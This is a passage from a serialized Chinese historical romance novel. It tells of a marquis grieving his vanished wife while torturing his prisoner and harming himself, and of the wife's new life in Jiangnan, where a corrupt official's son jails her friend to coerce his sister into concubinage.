许是为了验证他的猜想,林韦德端着一个木匣子进来。 裴铉的心猛烈跳动。 “是夫人的首饰。”林韦德担心地盯着裴铉的神情。 霎那间,裴铉的手颤抖地厉害,不过一个小小的木匣子,他使劲全身力气似乎都揭不起来。 啪嗒一声,木匣子又阖上。 裴铉深吸气,在林韦德想要帮忙揭开时,一股气揭开了盖子。 木盒子内是拍卖行的那只手镯,其余的是她当天佩戴的银簪等物。 银簪等物还好,可套在手腕处的镯子都掉落了,裴铉想摸玉镯的手僵在半空。 水流冲走头饰很正常,但手腕的镯子都没有了。 很有可能是人没了,捡尸人去取了卖钱。 “哪来的?”他的嗓音低哑。 林韦德道:“有人在浮白州下方约一百里捡到,银簪等物差不多也在附近几里路。” 裴铉神色痛苦,嘴唇蠕动几次才问出口:“附近可有发现尸体?” “有。”林韦德声音放小,又立马解释:“如今水流奔涌,有许多溺水” 他话还没说话,却见裴铉的身形一顿,似乎要昏厥。 吓得他连忙扶住,大声道:“属下都命仵作验过,没有符合夫人的。” 他这番话给了裴铉些希望,可两人都心知肚明。 许多尸体根本无人关心,或是被山野间野狗畜生分食了。 裴铉脸色惨白,颓废地跌坐在地上。 他神色潦草,喃喃低语:“对,对,对,还没确认。” 说完后,他又起身要去私牢。 王氏虚弱地抬起头颅,看着眼前人。 他向来是在夜里才来折磨人,没想到现在白天都不让他好过了。 裴铉命人将休养的他绑在木桩上,呈现一个大字形。 王氏逞强地看了眼裴铉:“哟,大白天又开始发疯了?” 裴铉不理他开始磨刀,动作间露出他的手腕处,上面缠绕着绷带,还渗透出丝丝鲜血。 林韦德揪心地看着这一幕,王氏被折磨地不成人形,可侯爷也人不人鬼不鬼的了。 磨好的刀刃反射出裴铉眼眸里滔天的恨意。 王氏说话专往裴铉伤口处撒盐:“我想想为什么?难不成是找到那个女的尸体了?哈哈哈哈。” “夫人吉人自有天福。”林韦德狠狠地甩了一巴掌。 “看来不是啊。”王氏神神颠颠,“不过也八九不离十了,要是人还在,算算日子孩子都出生了,可惜咯,一尸两命啊。” 裴铉怔怔愣在原地,想到当初她与他争论。 他信誓旦旦说要给她找最好的稳婆,保证一定会让她平平安安生下孩子。 他是个废物,无能的男人,什么都做不到。 “我看你比我也好不到哪儿去,是不是要把自己逼疯了?”见状王氏说得更开心。 当锋利的刀刃,一片片划下薄若蝉翼的肉片,只余下他凄惨的叫声萦绕在侯府的上空,侯府众人人人自危,笼罩在恐怖的气氛里。 将人折磨晕了,裴铉洗净手回了争晖院。 依旧是先沐浴更衣,他茫然地望着四周,半年过去了,她的气息已经消失殆尽,她用过的毯子,香囊的香味都在逐渐褪去。 似乎整个人都将要慢慢彻底消失在他视野,他怎么拼命都不可挽留。 裴铉拿着手镯放在心头摩挲,悔不当初。 怪自己当年贪心,既想要孩子又要宁泠,最后却是两手空空,只留悔意。 林韦德不敢让裴铉一个人待太久,他手腕上密密麻麻的伤口令人心惊。 林韦德端来一碗面:“侯爷,还是身子要紧,晚饭你没吃,我让灶房煮了一碗面。” “端走!”裴铉暴吼一声。 林韦德固执地端了面进来,他不能放任侯爷折磨自己。 那碗热腾腾的面放在饭桌上,鲜香的气味飘散在空气。 他又想起了当初他心有不甘地缠住她,让她亲自下手给自己煮一碗面。 竟还不知好歹地没吃完。 原来当时只道是寻常,以为他们有的是时间。 他呆呆地望着那碗面,沉浸在自己回忆里。 鼻子酸了,眼睛红了,晃过神来已经泪流满面。 林韦德发现他的情绪不对,担心他又用簪子划手腕。 “侯爷,你想想忠国公现在还逍遥法外,当初可是有他的手笔。”他要激发侯爷的求生欲,“咱们还没给夫人报仇,你常病不起,他裴书伦就嚣张得意了。” 裴铉冷笑出声,揩去满脸泪水,声音阴狠一字一字道:“裴老狗。” 他坐在餐桌上一口一口艰难地吃着面,色香味齐全。 可他入口全是苦涩,心里想着却是那天没有吃完的那碗面。 他吃完面后,低低说了一声:“我好想她。” 林韦德听了也鼻头酸涩,强忍泪眼:“所以侯爷更要好好保养身体。” 他还以为侯爷会借酒消愁,可侯爷回来后没有喝过一次酒。 三年时间内,裴铉夙兴夜寐,夜以继日地收集证据,斗垮了忠国公。 裴书伦被赐死那天,他脸上第一次浮现了丁点笑意。 齐冀等好友,看着以往肆意张扬,笑脸盈盈,如今死气沉沉,狠厉阴沉的裴铉,齐齐哀叹。 “林韦德,你说她还在吗?”才三年时间,裴铉乌黑的头发竟有了白发。 林韦德一口咬定:“在!” 他不敢说出不在这两个字,如今大仇得报,若是人没在了,无牵无挂的侯爷又有什么留恋。 “三年了,若人还在,能没有一点痕迹吗?”裴铉望着皎洁的月光,身影寂寥。 林韦德想想道:“夫人善于藏匿行踪,说不定当年的玉镯就是她假死脱身,故意为之。” 他无论如何也要咬死还活着这件事。 “也是,她若活着也是断断不肯见我的。”裴铉情绪低落。 时间又过了两年,裴铉越发形销骨立,他强撑一口气。 这五年多里他每年都回浮白州上坟,除了私牢和公务之外,去得最多的地方竟然是寺庙。 日日夜夜虔诚恳求神明,护佑他的妻儿。 保护他们平安顺遂,不受颠簸流离,不缺衣少食。 明明以前他最不屑鬼神之说,自信狂妄,大言不惭,相信人定胜天。 如今他去无计可施,什么办法都愿意一试。 五年时间,宁泠生了孩子没多久后就去了江南。 其实当初生下宁泽铭后,她更愿意隐居在小镇,可小镇上她没有谋生的活计。 许多人窃窃私语惦记她手里剩下的家产。 她去江南开了一家香铺,白佳说服了她哥,跟着宁泠一起来了江南。 宁泠和白佳一起制作的香,价格实惠,而且不是外面随处可见的香料。 当初廖先生教会了宁泠许多制香方子,白佳对药材的了解很深。 两人一拍即合研制了不少新的方子。 无事的一天,裴铉照旧去宝光寺祈福,一位夫人与他擦肩而过时,他似乎闻见了一股熟悉的香气。 第65章 第65章【VIP】 裴铉顿时大脑一片空白,神色激动,手指颤抖地楞在原地。 可那股香味越来越近的时候,他的神色逐渐淡了下去,逐渐趋于平静,如同一潭死水。 初闻是有点像宁泠曾熏制过的一味香,可仔细分辨就发现不相同。 人来人往,拥挤喧闹的寺庙,他一颗激烈跳动的心仿佛静止。 如同身外人般,疲倦无神地看着这一切。 “侯爷?”林韦德皱眉道。 侯爷越发精神不济了,常常一个人走神许久。 亦是草木皆兵,一点和夫人沾边的东西都能引起他的情绪波动。 裴铉还是不死心 地朝林韦德道:“去查查那位夫人的香囊。” “是。” 今日是初一,每月初一十五都是裴铉去求平安符的日子,风雨不变。 其余时间他大多紧盯各地探子消息。 裴铉照旧去求了平安符后,看着旁边有抽签解谜的。 他鬼神使差地站在原地,神情踌躇。 可最后还是摇摇头离开,他不能接受残酷的事实。 他渴望上上签,却害怕下下签。 曾张扬肆意的裴铉,也有畏手畏脚,成了懦夫的一天。 林韦德的动作很快,待裴铉完成了抄写佛经,求得平安符出来后。 他汇报:“是从盛安城内一家香铺买的,香铺没有问题。” 人是绝不可能在盛安城内的,又是裴铉疑神疑鬼的一天。 心里那点微弱的期许不过片刻,荡然无存。 初一,十五是王氏最期待的两天,只有这两天,那个疯子才不来折磨他。 初二的凌晨,裴铉又来了私牢。 王氏被他冷冰**死似的视线盯得身体发抖,吓得尿在了裤子里。 最开始那一年,他的确嚣张,每每将裴铉骂的狗血淋头。 可随此而来,是他无数种折磨人的法子,他彻彻底底怕了这疯子。 永远关在暗无天日的地下,永远有无穷无尽的酷刑。 林韦德眉头皱得很深,每次侯爷折磨完王氏,就开始折磨自己了。 五年了,他纵使嘴上从不主动说,也没人敢提。 可谁都知道结果,人要往前走,侯爷却留在原地留恋。 折磨完王氏,裴铉照旧回了争晖院。 他看着她留下的一件件东西,现在他已经不再佩戴和抚摸宁泠给他留下的香囊。 白云仙鹤纹路和青竹纹上的针线,因为他时常抚摸,炸开了线。 他只敢看,不敢再触碰。 香囊里青丝的香气,早就飘散了,如同他这个人身上的鲜活消散了,独留死气沉沉。 他冰凉的手指,一遍遍爱惜地抚摸着玉镯和银簪。 将手腕上的缠带脱落,欲要在皮肤上划口时。 不速之客林韦德擅自闯入,手上还抱着两坛烈酒。 裴铉不虞地看向他:“出去!” “侯爷,咱两一块喝点酒,解解愁。”林韦德对他冷漠视而不见,将酒坛直接放在桌上。 五年多的时间,裴铉不曾喝过一次酒,哪怕是宫宴也不破例。 他心里清楚为什么。 他害怕会忘了她,害怕一次次的麻痹宿醉后,她的身影面容越发模糊。 他解愁的方法,是书房内一幅幅她的画像。 是记忆里她笑,她哭,她调皮,她怒视的生动画像。 还有孩子的,一次次琢磨他会像自己还是宁泠?是男是女? 若是他们还活着,应该有五岁了。 他二十八了,还是孤苦伶仃,落寞一人。 可曾经他有妻子有孩子,有一个温暖的家,最后却是黄粱美梦一场空。 他天真的以为带宁泠去了浮白州回来后,他能改会好好尊敬待她。 以为幸福近在咫尺,唾手可得。 “侯爷,咱们好好喝一场!”林韦德倒好酒,自己先豪饮了一碗。 五年的压抑绝望,裴铉无法自已颤着手喝下那碗酒。 辛辣的烈酒淌过嗓子,裴铉满脸通红,眼神恍惚。 林韦德一碗一碗地给他倒酒,似乎不把人灌醉不甘心。 “侯爷,张川那小子早成亲了,儿女双全都会走路了。”林韦德大着嗓门说道。 五年内侯爷没有见过一次张川,显然耿耿于怀。 但该给的赏赐,没有少过一点。 裴铉还是没说话,一碗碗烈酒下肚。 酒壮怂人胆,林韦德:“五年了一切尘埃落定,大仇得报侯爷不该再折磨惩罚自己了,当年的事情谁都想不到,谁都怪不到。” 烈酒的灼热遍布四肢百骸,可裴铉的心还是寒意冰凉,时时刻刻有块大石压得他窒息。 他忘不了倾盆大雨,电闪雷鸣的夜晚。 林韦德苦口婆心,絮絮叨叨说了许久。 裴铉一言不发,一个劲喝着闷酒。 最后一个人喝醉了,趴在桌子上睡着了。 林韦德叫来小厮安顿好他,紫叶嫁人了。 贴身伺候的都是小厮,一个侍女都没。 处理好后,林韦德一个人来了地牢。 王氏已经被大夫上了药,见人来了,害怕地缩瑟在角落。 林韦德恨意遍布地看着他,若不是他,如今侯府该是一片祥和。 侯爷也不是现在颓废的模样。 但不能再留着他了,一个毒瘤不除了,只会不断感染。 他死了,侯爷或许会逐渐恢复。 王氏如今手脚筋都被挑断了,眼睛也只留下了一个,其他部位也残缺不全。 形同人彘,或许比人彘还惨,胆小的人看了晚上恐怕都睡不着。 林韦德将人绑好,王氏面露绝望,没想到间隔时间这么短。 “赐你贴加官,给你个解脱了。”林韦德声音沉重。 所谓贴加官,是将带有面纸沾湿一片片贴在口鼻处,使人窒息而亡。 夫人若是掉下悬崖,溺死河里,大概也是这么痛苦。 旁边的侍卫看了连忙劝阻:“林大人,侯爷再三命令人要活着。” “后果由我一力承担。”林韦德说道。 侍卫面带犹豫,可林韦德态度坚决,想偷偷派人去通知侯爷。 “侯爷已经喝醉了,不必去了。”林韦德灌醉他的目的有二。 一是希望侯爷发泄情绪,也希望大醉一场后,他大彻大悟,不再浑浑噩噩。 二是他必要亲手了结王氏,不能再让侯爷身心俱损了。 王氏在林韦德手下没多久就断了气,他洗着手脸无表情道:“拉去乱葬岗。” 裴铉一觉睡得很沉,几乎是五年多以来睡得最好的一次。 没有半夜惊醒,没有噩梦连连。 五年多来他靠着宁泠曾经制的养心香,清梦香才能多安睡一会。 那时她连篇骗人的鬼话,如今一语成谶。 可五年的时间太长了,香料逐渐耗尽。 他像个小气鬼,吝啬地不愿再用了。 他一醒来,就见林韦德跪在他塌边,旁边还放着军棍子。 宿醉后的头有些不适,裴铉按着太阳穴,声音发哑:“这是什么意思?” “王氏被我杀了。”林韦言简意赅。 裴铉面露凶光,神色大怒,一脚狠狠踹在林韦德身上:“谁准你这么干的!” 林韦德被踹倒在地面后,又立刻重新跪好,语气恳切真诚:“侯爷,反正他也活不了多久了,我亲手给他贴加官,咱们都忘了过去,好好往前走。” “擅作主张的事情你不是第一次。”裴铉静静看了他一会,神情冷漠:“现在2回 了,以后你不必再跟着我了,我会给你找个好去处。” 如果当年林韦德听话带着宁泠去了洞穴,又是另外一番场景。 他们再一次抛弃了她,他裴铉绝不会再放弃她,再犯错。 林韦德真正慌了,他不怕打不怕骂。 怕裴铉撵他走,他从小就跟在裴铉身后。 巨大的恐慌笼罩在林韦德心头,他双手拿起军棍:“我知道侯爷心里不好受,尽管使劲打我骂我,但不能不要我啊!” 裴铉没有理会他,起身离开了。 江南城内,佳蝶香铺内。 宁泠和白佳在店内忙碌,客人大多是女子们。 宁泠温柔仔细地给她们介绍各类香料,倾听她们的需求。 忽然一堆男人闯了进来,为首的男人不高,但态度趾高 气扬。 身后跟着一堆身形高大,凶神恶煞的护卫。 他轻蔑不屑地环视周围一圈,周围的女子们都纷纷落荒而逃。 来人是江南城内出了名的害虫败类,众人都视为洪水猛兽。 偏偏他爹是江南通判,手里权势不小,又尤为宠爱这个老来得子的宝贝疙瘩。 白佳看见他面色厌恶:“李公子,请你不要打搅我们做生意。” “白姑娘,好久不见又更美了。”李正福一双眼色眯眯地扫视。 他早就看上了白佳了,虽然年纪大了点,可没嫁人还是个雏,他心痒痒地很。 白佳冷哼一声,一年前不知他混账从哪知晓了佳蝶香铺。 刚开始厚着脸皮天天跟着陈蝶,垂怜她的美色。 转身看见宁泽铭,立马嫌弃地转移了目标。 家里已有正妻,也三十的人了,孩子都好几个能跑了,还在这里做梦。 “你每日辛辛苦苦做生意,能赚几个钱。”李正福见人不搭理自己,又开始显摆了,“还不如进了我府吃香喝辣。” 宁泠听了直皱眉头:“李公子慎言。” 他空口白牙,胡言乱说,可白佳还是清白的姑娘家,不能毁了名声。 李正福看着宁泠云鬓花颜,肌肤似块美玉,心里暗道可惜了。 他对生了孩子的女人,不敢兴趣。估计还是个寡妇,说不定还克人勒。 “白佳你能给我做妾,可是别人求都求不来的福气。”几次三番被拒绝,李正福懒得装,露出真正面目。 宁泠偷偷派人去将附近的白洲言找了过来,她们来江南开香铺,没多久白洲言就跟了上来。 他与妹妹从小相依为命,哪能不担心她和宁泠。江南房价租金高,他刚来没把握医馆生意能好,所幸医术不错,医馆愿意要他坐诊。 白洲言冷脸道:“李公子,舍妹已有婚约,请你自重。” 这个办法是三人之前想好的,李正福三天两头来府里胡搅蛮缠,客人们都被他赶得差不多。 当地的衙役又装死不管,再下去可要倒闭了。 只有说出已有婚约,让他死了心再说。 白佳已有十九了,五年内忙着和宁泠一起研制香料,忙着在江南城站稳脚跟。 又没遇见合适,迟迟没有定下婚约。 现在有李正福捣乱,整个江南谁敢给她说亲。 “骗谁呢?”李正福油腻圆肥的脸不相信,“江南城谁敢和老子抢人!” 他话虽然说得强横,可心里却虚。 他爹不是江南最大的官,而且近几年来皇上最是厌恶强抢民女,逼良为妾之事。 听说还有个位高权重,颇有本事的侯爷盯着各地方。 每年没少送这些人进牢狱,不然他也不会天天堵门,早霸王硬上弓了。 好好一个侯爷,啥都不干,天天安排探子管这些,真有病! “是我们老家的人,虽然不及李公子家财万贯。可也是正正经经的读书人,长兄为父这门亲事两家已经订下了。”白洲言话说的滴水不漏。 李正福明显不信,可暂时又没办法,带着人铩羽而归。 路上下属看他心气不顺,贼眉鼠眼在耳边小声出谋划策。 李正福听了窄缝的眼眸直转溜:“你去安排。” 有了把柄,白家兄妹岂不是任由他拿捏,白白送上门来。 待人走了,宁泠皱眉道:“你们兄妹最好还是回乡避避,香铺有我你们放心。” 这个李正福看着心术不正,指不定还有其他下三滥的办法。 两人听了点点头,今天香铺生意又做不成了。 白佳和宁泠一合计干脆关了门。 宁泠回了后院,宁泽铭恰好下课,宁泠给他请了一位先生开蒙。 他现在已经会写简单的字,甚至和宁泠写得差不多好。 每次宁泠看了他写的字,都自残形愧,等他稍微再大点,估计字比她写得好多了。 “娘亲。”宁泽铭眨巴着圆圆眼睛,“今天这么早就忙完啦。” 他除了一双圆圆无辜的眼眸,其他模样与裴铉几乎一模一样。 “今天不忙,泽铭中午想吃什么?”宁泠摸摸他小小的脑袋,“娘亲今天有空,可以亲手给你做。” “娘亲辛苦一天了,好好休息。”宁泽铭小嘴很甜,“周婆婆会做的。” 他心里想想娘亲做的饭,忍不住发愁,他不想辜负娘亲的好意,可他真的吃不下。 宁泠看出了他的小心思,笑笑不拆穿。 小孩子长得俊,邻里们个个都夸。 宁泽铭是很省心很聪明的小孩子。 先生不止一次和宁泠说,他天资很高,千万要好好培养。 宁泠何曾不知,可供养个书生不轻松,现在还好只是请个先生开蒙,花销大头都在后面。 等他八岁宁泠打算送他去好些的私塾,心里忍不住低落。 听说大户人家都是送孩子去书院,甚至拜高师亲自传授。 可她能力有限,有时候夜深无人时,看着他乖乖可爱的小脸,她在思考自己是不是太自私了? 好不容易有空,下午宁泠没让宁泽铭上课。 带着他去附近的街市上逛逛,小孩子都爱玩,可她平日里要忙着挣银子。 当初她当完了所有珍珠和白佳合伙开的香铺,日日忙碌开拓客源。 虽然她还存着金瓜子没动,可那笔钱是应急用的,不到万不得已不动。 路边有不少美食摊贩,宁泠和白佳都贪吃,宁泽铭也从小嘴馋。 宁泠先买了两串冰糖葫芦,一人一串,然后一大一小商量着吃什么好。 最后两人都齐齐站在卖酥蜜饼的摊贩前,贪婪地嗅着甜蜜的香气。 接着决定买了两油纸袋,两人坐在茶楼喝着酸梅饮子,吃着酥蜜饼。 “盛安城有家酥蜜饼比这好吃多了。”宁泠吃着一块酥蜜饼,忽地脱口而出。 说完反应过来,后悔已晚。 宁泽铭白嫩的脸蛋好奇:“娘亲和爹爹去过盛安城吗?那里好玩热闹吗?” 宁泠虽然对外称寡妇,可她不想让小孩子太早知道生死。一直对他说他父亲是在做生意途中失踪了。 “对,那里比这繁华,但那里东西也很贵。”宁泠脸上多了点惆怅。 宁泽铭小嘴美美喝了口饮子:“那还是江南好。” “泽铭不向往吗?”宁泠有点吃惊。 她小时候听见热闹繁华的地方,可是好奇的不得了,恨不得亲身去一次。 “东西很贵,人就会很辛苦。”宁泽铭小脑袋摇晃,“我不想娘亲受苦。” 宁泠顿时哑然,她平时忙活香铺挣银子,宁泽铭跟着她目濡耳染,对银钱比普通小孩敏感多了。 她心里有些愧疚,没能给他一个衣食无忧的生活。 “其实你爹爹有朋友在盛安城,娘可以送你去那读书,认识更多好朋友,你想去吗?”宁泠不知为何问出了很久想问的话。 第66章 第66章【VIP】 “娘亲想去吗?”宁泽铭可爱的小脸蛋沉思问道。 宁泠摇摇头:“娘亲不想去盛安城。” “那算了。”宁泽铭奶声奶气,态度坚决,“我要跟着娘亲,而且我也舍不得他们。” 宁泠捏捏他软乎的小脸,接着带他回去了。 平日里担心小孩子长蛀牙,宁泠不常带着他吃甜食。 今日吃了酸酸甜甜的冰糖葫芦,还有香香酥酥的酥蜜饼,解渴的酸梅饮子。 宁泽铭很是开心,蹦蹦跳跳的。 宁泠还给白家兄妹也买了吃食,顺路去医馆拿给白洲言,他住在医馆内,男女有别不适合一起住香铺后院。 她牵着宁泽铭的小手到了医馆,隔着问诊的珠帘看见病人的背影。 “你这情况并不严重。”白洲言的声音温和,“只要喝上约莫五日药汤,自可恢复。” 患者声音焦急,一直催促:“那大夫赶快给我开方子,这病我可难受了,早吃早好。” “好。”白洲言细心地说道:“药方有味中药名为生附子,药 性有毒,需要猛火煮沸” “大夫我以前吃过这味中药,知晓法子祛毒。”患者似乎很难受,“你就不必在药方上赘述了,我着急去抓药。” 白洲言点点头,速度飞快地写完药方给了他,那人火急火燎去抓药付钱。 见后面无人问诊了,宁泠轻声问道:“白大哥还忙不?” “不忙了。”白洲言声音带笑,眉眼愉悦,“快请进。” 宁泠和宁泽铭进来后,将油包纸包裹好的酥蜜饼放在桌子上:“尝尝,新买的酥蜜饼。” “白叔叔,你是不是要下值了。”宁泽铭圆溜溜的眼睛环视周围。 “对呢。”白洲言对宁泽铭说道:“叔叔和白姐姐要离开一断时间,你乖乖听你娘亲的话。” “我什么时候不听话了。”小宁泽铭偷偷嘀咕。 宁泠问道:“明日吗?” 白洲言回答:“对,越早越好,迟则生变。我下午已经向东家请好假了。” “也好。”宁泠神色赞同,“免得他又出什么馊主意。” 要走了,白洲言莫名地有点心慌。 他看着眼前眼眸清澈,俏脸灵动的宁泠,将深藏许久的话说出:“陈蝶不是你真名吧?” 宁泠神色诧异,没想到他会忽然问这。 “你应该姓宁。”白洲言看着可爱的宁泽铭,“是宁蝶吗?” 他想知道她的一切,想知道她的曾经,也想拥有她的未来。 五年来他克己复礼,不敢逾越一步。 可此次回去,不知下次回来是何时,不知他是否还有机会。 见宁泠没说话,他又主动说道:“不方便就算了。” “我真名叫宁泠。”宁泠坚定地回答。 五年多了,白家兄妹与她共患难,她产子时恐慌害怕是他们一直守在身边。 她在江南拼命站稳脚跟,面对生意上的尔虞我诈,是他们做她的靠山。 一遍遍宽慰她失败了大不了回小镇就是,宁泽铭生病的许多个无助夜晚也是他们陪她。 白洲言很开心,眉眼舒展:“谢谢你愿意相信我,宁泠。” 万事开头难,他已经迈出了一步。 两人闲聊了以后,宁泠带着宁泽铭回香铺。 “娘亲,你姓宁,我也姓宁。”现在的宁泽铭不是能轻易蒙混过关的小时候,“那爹爹姓什么?” 以前娘亲虽然没说,可他一直以为跟父亲姓宁。 “姓裴。”宁泠默了一息回答,“你答应我,不能告诉别人好吗?” 宁泽铭不知道为什么,但还是乖乖点头。 裴姓大多是皇亲贵族,她担心泄露风声。 宁泠回了香铺后,也将真名这事告诉了白佳。 白佳对此态度大大咧咧:“一个名字而已,有什么重要的。” 宁泠要躲着人,改名换姓有什么奇怪的。 “明日回去了,不妨好好相看一番,瞧瞧有没有喜欢的人。”宁泠比白佳大四岁,忍不住操心啰嗦几句。 白佳点点头:“当然,不然下次回来那讨厌鬼又要来恶心我。就他那怂样,还指望本姑娘给他做妾,也不看看自己啥样。” 口头说说的亲事李正福也不傻,不可能真正相信。 可真成了亲,他就无可奈何了。 “佳佳,喜欢什么样的?”宁泠笑着揶揄。 白佳脸红了还是回答:“首先要尊重爱护我,少拿以夫为纲那套约束我,而且要赞同我继续做香料生意,最好是像我哥一样的好男人。” “白大哥这么好的,怕是不容易找到。”宁泠叹气道。 白佳笑嘻嘻地靠近:“我大哥这么好,宁姐姐有没有一丁点心动?” 虽然她哥是个闷葫芦,五年了都没冒点泡。 可他们亲兄妹,怎么会看不出。 “白大哥值得更好的。”宁泠摇摇头。 她已嫁为人妇,还有了孩子,这对白洲言来说太不公平了。 宁泠帮着白佳收拾完行李后回了屋,宁泽铭一个人乖乖地睡着了。 睡至半夜,忽然听见一阵阵猛烈的敲门声。 在寂静黝黑的夜里,尤为吓人。 宁泽铭吓着直往宁泠怀里钻,宁泠皱眉后轻哄两声待他睡着后,起身穿好衣衫。 刚出门就碰见白佳,显然也是被吵醒。 两人一起去开了门,那人是白洲言的朋友,两人一起在医馆坐诊。 他焦急地说道:“白佳,你大哥被官府的人抓走了。” 白佳脸色惨白,宁泠追问道:“怎么回事?” 本来白家兄妹明天就要回乡了,好端端为何如此。 “说是他问诊开得药方有问题。”章志语气着急,“患者晚上吃了药没多久就出了问题,接着告了官后衙役抓走了人。” “不容人分辨,直接抓人?”宁泠深感不安。 章志长叹一声气:“是通判府的管家出了事,衙役自然不敢怠慢。而且那药方的确有问题。” 宁泠仔细听了一番,生附子有毒要特殊熬制。 虽然白洲言再三咬定口头告知了,可药方上没有明确写清楚。 而通判府李家的管家,绝口否认白洲言告知过此事。 为了保护患者隐私,每个问诊的单间都是隔开的。 旁人一般听不清里面谈话,就算有人听到了,恐怕也不会冒着得罪通判为白洲言脱罪。 白佳心头大恨,怒骂道:“定是李正福那个畜生败类干的!” 有了把柄,官府抓人是按照正规流程,无处可诉。 章志与白洲言同是医馆的大夫,平日私交还不错。 出了事后连忙来通知,可这事他也没有法子,告知后他回了医馆。 白佳慌得厉害,抱着宁泠道:“怎么啊?姐姐。” 宁泠安慰她道:“我们先回屋继续说,现在入秋了小心着凉,我们两个出事了谁救白大哥。” 两人互相扶着进了屋子后,都笼在被窝里。 “李正福多半想以此逼你为妾,故意设下的圈套,不然不会这么凑巧。”宁泠分析,“那管家定然没有性命之忧,无论如何也到不了抵命的程度。要想真相大白估计是不可能的,但最严重大不了就是挨几板子罚银子,在江南城混不下去了,我们大不了换个地方就是,你可千方不要中了计。” 白佳六神无主地点点头,以前都是哥哥在她前面遮风挡雨。 宁泠最担心就是白佳为了救人,答应了李正福,待白洲言出来了,她如何对得起他。 “李正福估计要来找你。”宁泠想想,“你可以和他周旋,既不能惹怒可也不能答应,最好示弱哭诉让他心软。” 白佳听了愣了愣,有点无措。 宁泠脸红,回忆着以前和裴铉的相处教她:“他若用白大哥威胁你,你就示弱哭诉先说愿意跟他,夸得他心花怒放,但又担心他正妻容不下你” 最好糊弄着先把白大哥人弄出来,其余的再说。 白佳似懂非懂地点点头,眨巴的眼眸里满是好奇。 “我们再把银子清点一下。”宁泠尴尬地转移话题,“明日一早,咱们先去牢狱打点下狱卒,白大哥也能少受一点委屈。” 白佳点点头,宁泠回了屋长叹气。 一早两人都顶着乌青的眼圈,宁泠让周婆婆带宁泽铭。 两人到了牢狱,不出意外地被拦在外面。 宁泠将荷包隐蔽地塞进外面狱卒的手里:“大哥,你行行好,放我们进去见见人。” 狱卒掂了掂荷包分量,扫了两人一眼:“看谁?” “白洲言。”宁泠语气恭维,“昨晚上刚进来的。” 狱卒面色一变,将银子扔了回去:“上面有吩咐,这个人不许探望。” 宁泠虽然早有准备,但还是有点失望,将银子重新塞给狱卒:“就算见不到,还是希望大哥发发善心有事通知下我们,我们住佳蝶香铺。” 狱卒微不可察地点点头。 不插手,送个消息不是难事。 宁泠带着白佳回了香铺,刚回去就见李正福大爷似地坐在对面。 “哟,这是去哪儿了?”李正福得意洋洋。 宁泠开前院的门,白佳敷衍道:“去看我哥了。” “药方这事我听说了。”李正福趾高气扬,“白妹妹有事该来找我,我府上的管家,我让他去官府撤了诉状,他敢说不吗?” 白佳想到宁泠的叮嘱:“李公子宅心仁厚,愿意帮帮我,我定万分感激,请你高抬贵手,饶我哥哥一次。” “白妹妹是做生意的人,自然知道没有无本万利的事情,嘴上说说可不行。”他猥琐地靠近,圆肥的短手要看着就要触碰白佳的脸。 白佳本能地躲开,没藏住眼眸的厌恶嫌弃。 李正福见她不识好歹,冷哼一声,大摇大摆带着人走了。 “姐姐,我搞砸了。”白佳憋着嘴要哭。 宁泠将她喊进屋子:“没事,顶多挨几板子结案,受不了太重的伤。” 下午时刻,就有一个小孩子跑了过来。 看见宁泠两人,他偷偷靠近说道:“那个犯人在里面受刑挨打了。” 两人互看一眼,面色大惊。 宁泠强装镇定,给了小孩子几块糕点当跑腿费。 白佳很是懊恼:“怪我当时没忍住。” 宁泠却眉头紧皱,心里预感事情没这么简单。 昨天人才进去,今天能判刑挨打结案? 事有蹊跷。 此后三天,每天都有人来通风报信。 白洲言挨了三天打,他心里清楚此事只能埋头认下了,可官府却不着急认罪,只一个劲逼供。 宁泠万万没想到李正福用此龌龊手段,爸人扣在牢狱滥用私刑。 宁泠与白佳四处寻找关系游走,可众人都不愿沾惹麻烦。 有愿意出手的官员狮子大张口要三千两银子。 白佳和宁泠加起来都没一千两。宁泠忽地想到手镯,但当了也不够三千两。 黄昏时刻两人精疲力尽地回来时,李正福又来了。 “白妹妹何必麻烦外人呢?”李正福胸有成竹。 连日来的恐慌,吓得白佳泪眼婆娑哀求道:“李公子,你放了我哥吧。” 李公子伸手去摸白佳脸蛋,白佳没敢躲。 他轻蔑地拍拍白佳脸蛋:“和你明说了,你不给老子做妾,你哥就只能抬着出来。” 其实他吓唬吓唬小姑娘,官场浮沉,搞出人命有了把柄,他老爹官途受阻。 不过打折一两条腿很简单,也合乎常理。 见白佳吓得没说话,他又宽宏大量似:“走吧,看你这么可怜,我也于心不忍,先带你去看看哥哥。” 宁泠与白佳一起去了牢狱,有了李正福的示意。 两人顺利见到了白洲言,他神情痛苦地趴在地上,背后的衣衫染上了血迹。 白佳哭着喊道:“哥哥。” 白洲言紧闭的双眼费力地掀开眼皮子,过了几息才清醒过来,看清楚来人。 “佳佳。”他声音虚弱,“你怎么来这了?” “李正福带我来的。”白佳哭着说道,想要掀开衣衫看伤口。 两人本特意带了伤药来,可狱卒却不准她们带进来。 白洲言按住她的手:“胡闹,不准与他攀扯不清。我就是被打死也认了,你要是敢去给他做妾,我一根绳子吊死在他通判府。” 宁泠看着痛哭的兄妹,自己也难受得很。 “我不能眼睁睁看着你在这里受折磨。”白佳哭得很伤心,“我们没有法子了。” 现在的白佳才后知后觉发现兄长体温不正常。 她环顾四周,秋凉阴暗的牢狱,哥哥身下只有一堆稻草。 他面色发红,身子颤颤巍巍。 她用手放在额头一探,烫得厉害。 “不行,再这样下去你会死。”白佳哭着跑了出去。 宁泠想跟上,却被白洲言牵住了衣角:“你帮我看住她,无论如何不能遂了李正福的意。” “可你怎么办?”宁泠眼底担忧,受了伤没药,还在地上吹风受冻,凡体肉胎能抗几天? 白洲言苦笑一声,没有说话。 “白大哥你努力坚持,我有办法救你。”宁泠下了决心,转身离开关押白洲言的地方。 回了狱卒休息的地方,李正福得意地坐靠在椅子上,神情带着得逞的满足。 白佳跪在地上苦苦哀求:“李公子,我求求你,我哥再关下去就要死在这儿了,他受了伤又发高热,不行啊。” 李正福翘着腿:“这要看你这个做妹妹的啊,你狠心要撇了他,让他死在这儿,我有什么办法?你要肯为妾,他也算是我亲戚,饶他一命也行。” 白佳绝望地愣住,最后咬牙答应:“我答应。” 李正福嘿嘿一笑:“你撒谎骗我可不行,你何时进我门,何时他出来。” “那是自然。”宁泠抢在白佳前回答,“但他们相依为命长大,李公子能否先请大夫救治,待白大哥身体康复,佳佳再进门不迟。” 她这话说得像是忧虑白洲言落下伤残,要保证他身体无恙,白佳才愿意进门。 “成吧。”李正福知道这个要求合理,“去请最好的大夫,好好给我大舅子疗伤,以后谁敢亏待他,老子和谁拼命。” 